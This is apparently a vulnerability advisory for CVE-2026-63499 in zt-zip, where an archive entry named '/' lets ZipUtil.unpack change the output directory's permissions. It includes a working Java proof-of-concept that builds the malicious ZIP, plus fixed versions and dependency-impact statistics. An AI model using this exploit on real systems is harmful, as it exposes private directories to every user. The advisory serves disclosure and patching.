CVE-2026-63499
zt-zip: ZipUtil.unpack can change file permissions of output directory
Description
Summary
When using one of the ZipUtil.unpack overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.
Details
When the name of a ZIP entry resolves to the output directory itself (e.g. the name /), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.
PoC
This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's ZTFilePermissionsUtil.fetchDefaultStrategy which uses a fallback in that case.
// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;
import org.zeroturnaround.zip.ZipUtil;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;
public class ZtZipTest {
public static void main(String[] args) throws Exception {
Path zipPath = Path.of("permissions-change.zip");
Path outputDir = Path.of("permissions-change");
Files.deleteIfExists(outputDir);
Files.createDirectory(outputDir);
Files.setPosixFilePermissions(outputDir, Set.of());
// outputs "[]"
System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));
createZip(zipPath);
ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());
// outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
}
public static void createZip(Path path) throws Exception {
try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
var entry = new ZipArchiveEntry("/");
// Set 'allow all' permissions
entry.setUnixMode(0b1_1111_1111);
AsiExtraField extraField = new AsiExtraField();
// Set 'allow all' permissions
extraField.setMode(0b1_1111_1111);
entry.setExtraFields(new ZipExtraField[] { extraField });
zipStream.putArchiveEntry(entry);
zipStream.closeArchiveEntry();
}
}
}
Impact
Affected are users who use ZipUtil.unpack to unpack an untrusted ZIP file.
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.zeroturnaround » zt-zip | < 1.18.1 | 1.18.1 |
Blast radius
74% of the dependent artifacts (751) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 13,029 |
| 2 hops | 12,350 |
| 3 hops | 9,807 |
| 4 hops | 4,329 |
| 5 hops | 2,155 |
| 6 hops | 1,175 |
Most used dependents
- org.mule.runtime.plugins » mule-extensions-maven-plugin217 usages
- org.molgenis » molgenis-data86 usages
- io.github.shuigedeng » taotao-cloud-starter-core78 usages
- io.github.shuigedeng » taotao-boot-starter-core77 usages
- org.alfresco.maven.plugin » alfresco-maven-plugin64 usages
- org.molgenis » molgenis-core57 usages
- org.apache.pulsar » pulsar-broker49 usages
- org.molgenis » molgenis-core-ui48 usages
- io.gatling » gatling-maven-plugin43 usages
- net.fabricmc » fabric-loom42 usages
- io.github.shuigedeng » taotao-cloud-starter-cloud36 usages
- io.streamnative » pulsar-broker34 usages
- org.molgenis » molgenis-util34 usages
- org.molgenis » molgenis-security33 usages
- com.github.alexcojocaru » elasticsearch-maven-plugin28 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
References
- Webhttps://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px
- Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-63499
- Webhttps://github.com/zeroturnaround/zt-zip/pull/191
- Webhttps://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad
- Packagehttps://github.com/zeroturnaround/zt-zip
- Webhttps://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1
